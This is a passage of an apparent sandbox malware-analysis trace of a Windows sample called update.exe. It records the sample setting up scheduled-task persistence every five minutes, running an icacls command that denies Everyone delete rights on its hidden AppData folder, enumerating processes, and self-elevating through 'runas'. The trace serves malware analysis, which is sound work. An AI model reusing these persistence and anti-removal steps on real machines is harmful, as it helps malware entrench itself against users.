| out: ppSettings=0x189f40*=0x3df820) returned 0x0 [0040.905] ITaskSettings:put_StartWhenAvailable (This=0x3df820, StartWhenAvailable=1) returned 0x0 [0040.905] IUnknown:Release (This=0x3df820) returned 0x1 [0040.905] ITaskSettings:get_IdleSettings (in: This=0x3df820, ppIdleSettings=0x189f34 | out: ppIdleSettings=0x189f34*=0x3df890) returned 0x0 [0040.905] IIdleSettings:put_WaitTimeout (This=0x3df890, WaitTimeout="PT5M") returned 0x0 [0040.905] IUnknown:Release (This=0x3df890) returned 0x1 [0040.905] ITaskDefinition:get_Triggers (in: This=0x3df6b0, ppTriggers=0x189f30 | out: ppTriggers=0x189f30*=0x3df7e0) returned 0x0 [0040.905] ITriggerCollection:Create (in: This=0x3df7e0, Type=1, ppTrigger=0x189f2c | out: ppTrigger=0x189f2c*=0x3df960) returned 0x0 [0040.905] IUnknown:Release (This=0x3df7e0) returned 0x1 [0040.905] IUnknown:QueryInterface (in: This=0x3df960, riid=0x441dbc*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x189f4c | out: ppvObject=0x189f4c*=0x3df960) returned 0x0 [0040.905] IUnknown:Release (This=0x3df960) returned 0x2 [0040.905] ITrigger:get_Repetition (in: This=0x3df960, ppRepeat=0x189f3c | out: ppRepeat=0x189f3c*=0x3df9b0) returned 0x0 [0040.905] IRepetitionPattern:put_Interval (This=0x3df9b0, Interval="PT5M") returned 0x0 [0040.906] IRepetitionPattern:put_Duration (This=0x3df9b0, Duration="") returned 0x0 [0040.908] ITrigger:put_Repetition (This=0x3df960, Repetition=0x3df9b0) returned 0x0 [0040.908] ITrigger:put_Id (This=0x3df960, Id="Trigger1") returned 0x0 [0040.908] ITrigger:put_EndBoundary (This=0x3df960, EndBoundary="2020-05-02T08:00:00") returned 0x0 [0040.908] ITrigger:put_StartBoundary (This=0x3df960, StartBoundary="2018-11-01T13:20:00") returned 0x0 [0040.908] IUnknown:Release (This=0x3df960) returned 0x1 [0040.908] ITaskDefinition:get_Actions (in: This=0x3df6b0, ppActions=0x189f20 | out: ppActions=0x189f20*=0x3df728) returned 0x0 [0040.908] IActionCollection:Create (in: This=0x3df728, Type=0, ppAction=0x189f28 | out: ppAction=0x189f28*=0x3df9f8) returned 0x0 [0040.909] IUnknown:Release (This=0x3df728) returned 0x1 [0040.909] IUnknown:QueryInterface (in: This=0x3df9f8, riid=0x441dec*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x189f44 | out: ppvObject=0x189f44*=0x3df9f8) returned 0x0 [0040.909] IUnknown:Release (This=0x3df9f8) returned 0x2 [0040.909] IExecAction:put_Path (This=0x3df9f8, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\\update.exe") returned 0x0 [0040.909] IExecAction:put_Arguments (This=0x3df9f8, Arguments="--Task") returned 0x0 [0040.909] IUnknown:Release (This=0x3df9f8) returned 0x1 [0040.909] ITaskFolder:RegisterTaskDefinition (in: This=0x3df670, Path="Time Trigger Task", pDefinition=0x3df6b0, flags=6, UserId=0x189e48*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95f1d0, varVal2=0xd2), password=0x189e58*(varType=0x0, wReserved1=0x0, wReserved2=0x9f70, wReserved3=0x18, varVal1=0x189f04, varVal2=0x4143c7), LogonType=3, sddl=0x189e6c*(varType=0x8, wReserved1=0x90, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x5f), ppTask=0x189f1c | out: ppTask=0x189f1c*=0x3dfa78) returned 0x0 [0041.010] TaskScheduler:IUnknown:Release (This=0x3df670) returned 0x0 [0041.010] TaskScheduler:IUnknown:Release (This=0x3df6b0) returned 0x0 [0041.010] IUnknown:Release (This=0x3dfa78) returned 0x0 [0041.010] CoUninitialize () [0041.014] SetLastError (dwErrCode=0x0) [0041.014] lstrcpyW (in: lpString1=0x18c070, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0041.014] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3" [0041.014] lstrcatW (in: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3", lpString2="\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" | out: lpString1="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\" /deny *S-1-1-0:(OI)(CI)(DE,DC)") returned="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\" /deny *S-1-1-0:(OI)(CI)(DE,DC)" [0041.014] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x48, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18a028*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18a008 | out: lpCommandLine="icacls \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\544c4f6e-08e8-406f-ae98-d88505d8a2e3\" /deny *S-1-1-0:(OI)(CI)(DE,DC)", lpProcessInformation=0x18a008*(hProcess=0x12c, hThread=0x128, dwProcessId=0x8f0, dwThreadId=0x8f4)) returned 1 [0041.033] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.108] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.124] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.141] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.155] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.170] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.186] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.201] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x102 [0041.218] WaitForSingleObject (hHandle=0x12c, dwMilliseconds=0x1) returned 0x0 [0041.225] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0041.225] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" ", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x969818*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0041.226] lstrcpyW (in: lpString1=0x18f598, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0041.226] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0041.226] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" ", pNumArgs=0x18d064 | out: pNumArgs=0x18d064) returned 0x969818*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0041.226] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe") returned="update.exe" [0041.226] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x75a20000 [0041.226] GetProcAddress (hModule=0x75a20000, lpProcName="EnumProcesses") returned 0x0 [0041.226] GetProcAddress (hModule=0x75a20000, lpProcName="EnumProcessModules") returned 0x0 [0041.226] GetProcAddress (hModule=0x75a20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0041.227] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x76420000 [0041.252] GetProcAddress (hModule=0x76420000, lpProcName="EnumProcesses") returned 0x76421544 [0041.252] GetProcAddress (hModule=0x76420000, lpProcName="EnumProcessModules") returned 0x76421408 [0041.253] GetProcAddress (hModule=0x76420000, lpProcName="GetModuleBaseNameW") returned 0x7642152c [0041.253] EnumProcesses (in: lpidProcess=0x182860, cb=0xa000, lpcbNeeded=0x18d070 | out: lpidProcess=0x182860, lpcbNeeded=0x18d070) returned 1 [0041.254] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0041.254] CloseHandle (hObject=0x0) returned 0 [0041.254] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0041.254] CloseHandle (hObject=0x0) returned 0 [0041.254] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e4) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.255] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x0 [0041.255] CloseHandle (hObject=0x0) returned 0 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x33c) returned 0x0 [0041.256] CloseHandle (hObject=0x0) returned 0 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x374) returned 0x0 [0041.256] CloseHandle (hObject=0x0) returned 0 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3b0) returned 0x0 [0041.256] CloseHandle (hObject=0x0) returned 0 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x0 [0041.256] CloseHandle (hObject=0x0) returned 0 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0041.256] CloseHandle (hObject=0x0) returned 0 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x140 [0041.256] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0041.256] CloseHandle (hObject=0x140) returned 1 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x458) returned 0x140 [0041.256] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0041.256] CloseHandle (hObject=0x140) returned 1 [0041.256] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x47c) returned 0x0 [0041.257] CloseHandle (hObject=0x0) returned 0 [0041.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a4) returned 0x140 [0041.257] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0041.257] CloseHandle (hObject=0x140) returned 1 [0041.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d0) returned 0x0 [0041.257] CloseHandle (hObject=0x0) returned 0 [0041.257] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x59c) returned 0x140 [0041.257] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0041.258] CloseHandle (hObject=0x140) returned 1 [0041.258] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x170) returned 0x0 [0041.258] CloseHandle (hObject=0x0) returned 0 [0041.258] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x79c) returned 0x140 [0041.258] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.259] GetModuleBaseNameW (in: hProcess=0x140, hModule=0xc30000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="attend.exe") returned 0xa [0041.259] CloseHandle (hObject=0x140) returned 1 [0041.259] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x778) returned 0x140 [0041.260] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.261] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x220000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="ppdfaccounting.exe") returned 0x12 [0041.261] CloseHandle (hObject=0x140) returned 1 [0041.261] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x328) returned 0x140 [0041.261] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.262] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x11f0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="firmintroduction.exe") returned 0x14 [0041.262] CloseHandle (hObject=0x140) returned 1 [0041.262] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x790) returned 0x140 [0041.262] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.263] GetModuleBaseNameW (in: hProcess=0x140, hModule=0xd10000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="emmafe.exe") returned 0xa [0041.263] CloseHandle (hObject=0x140) returned 1 [0041.264] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x41c) returned 0x140 [0041.264] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.265] GetModuleBaseNameW (in: hProcess=0x140, hModule=0xeb0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="dressed.exe") returned 0xb [0041.265] CloseHandle (hObject=0x140) returned 1 [0041.265] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x418) returned 0x140 [0041.265] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.266] GetModuleBaseNameW (in: hProcess=0x140, hModule=0xf40000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="calculations-eternal.exe") returned 0x18 [0041.266] CloseHandle (hObject=0x140) returned 1 [0041.266] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a0) returned 0x140 [0041.266] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.267] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x1060000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="refine belief dietary.exe") returned 0x19 [0041.268] CloseHandle (hObject=0x140) returned 1 [0041.268] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3c8) returned 0x140 [0041.268] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.269] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x940000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="brilliant.exe") returned 0xd [0041.269] CloseHandle (hObject=0x140) returned 1 [0041.269] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x578) returned 0x140 [0041.269] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.270] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x10000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="hook-harley.exe") returned 0xf [0041.270] CloseHandle (hObject=0x140) returned 1 [0041.270] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x360) returned 0x140 [0041.270] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.271] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x1d0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="significance_five_digit.exe") returned 0x1b [0041.272] CloseHandle (hObject=0x140) returned 1 [0041.272] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x140 [0041.272] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.273] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x1240000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="domestic.exe") returned 0xc [0041.273] CloseHandle (hObject=0x140) returned 1 [0041.273] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x65c) returned 0x140 [0041.273] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.274] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x1190000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="rocontinually.exe") returned 0x11 [0041.274] CloseHandle (hObject=0x140) returned 1 [0041.274] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x704) returned 0x140 [0041.274] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.275] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x8b0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="privilege.exe") returned 0xd [0041.276] CloseHandle (hObject=0x140) returned 1 [0041.276] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x69c) returned 0x140 [0041.276] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.277] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x10c0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="sequence.exe") returned 0xc [0041.277] CloseHandle (hObject=0x140) returned 1 [0041.277] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x708) returned 0x140 [0041.277] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.278] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x820000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="abilities_imported_yale.exe") returned 0x1b [0041.278] CloseHandle (hObject=0x140) returned 1 [0041.278] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x174) returned 0x140 [0041.278] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.279] GetModuleBaseNameW (in: hProcess=0x140, hModule=0xd60000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="discrete.exe") returned 0xc [0041.280] CloseHandle (hObject=0x140) returned 1 [0041.280] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x248) returned 0x140 [0041.280] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.281] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x920000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="subscriptions_comparable_server.exe") returned 0x23 [0041.281] CloseHandle (hObject=0x140) returned 1 [0041.281] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2ac) returned 0x140 [0041.281] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.282] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x3e0000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="logic_acre.exe") returned 0xe [0041.282] CloseHandle (hObject=0x140) returned 1 [0041.282] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x724) returned 0x140 [0041.282] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.283] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x330000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="ad floyd.exe") returned 0xc [0041.284] CloseHandle (hObject=0x140) returned 1 [0041.284] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x504) returned 0x140 [0041.284] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.285] GetModuleBaseNameW (in: hProcess=0x140, hModule=0xd60000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="laptop.exe") returned 0xa [0041.285] CloseHandle (hObject=0x140) returned 1 [0041.285] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x898) returned 0x0 [0041.285] CloseHandle (hObject=0x0) returned 0 [0041.285] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8bc) returned 0x0 [0041.285] CloseHandle (hObject=0x0) returned 0 [0041.285] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8dc) returned 0x140 [0041.285] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 1 [0041.286] GetModuleBaseNameW (in: hProcess=0x140, hModule=0x400000, lpBaseName=0x18c860, nSize=0x400 | out: lpBaseName="update.exe") returned 0xa [0041.286] CloseHandle (hObject=0x140) returned 1 [0041.286] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0x140 [0041.286] EnumProcessModules (in: hProcess=0x140, lphModule=0x18d07c, cb=0x4, lpcbNeeded=0x18d060 | out: lphModule=0x18d07c, lpcbNeeded=0x18d060) returned 0 [0041.286] CloseHandle (hObject=0x140) returned 1 [0041.286] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x967f60, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\update.exe")) returned 0x30 [0041.287] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0041.287] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" " [0041.287] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe\" ", pNumArgs=0x18d0d0 | out: pNumArgs=0x18d0d0) returned 0x969890*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe" [0041.287] GetVersion () returned 0x1db10106 [0041.287] lstrcpyW (in: lpString1=0x18d398, lpString2="--Admin" | out: lpString1="--Admin") returned="--Admin" [0041.287] lstrcatW (in: lpString1="--Admin", lpString2=" IsNotAutoStart" | out: lpString1="--Admin IsNotAutoStart") returned="--Admin IsNotAutoStart" [0041.287] lstrcatW (in: lpString1="--Admin IsNotAutoStart", lpString2=" IsNotTask" | out: lpString1="--Admin IsNotAutoStart IsNotTask") returned="--Admin IsNotAutoStart IsNotTask" [0041.287] ShellExecuteExW (in: pExecInfo=0x18d1e8*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x18d1e8*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\update.exe", lpParameters="--Admin IsNotAutoStart IsNotTask", lpDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nShow=5, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0041.417] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fd38 | out: phModule=0x18fd38) returned 0 [0041.417] ExitProcess (uExitCode=0x0) [0041.425] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 2 os_tid = 0x0 Thread: id = 3 os_tid = 0x8ec Thread: id = 12 os_tid = 0x8fc Thread: id = 13 os_tid = 0x900 Process: id = "2" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x78017000" os_pid = "0x59c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "1" os_parent_pid = "0x8dc" cmd_line = "taskeng.exe {CD671DAD-4B74-4170-B439-24634829D136} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT 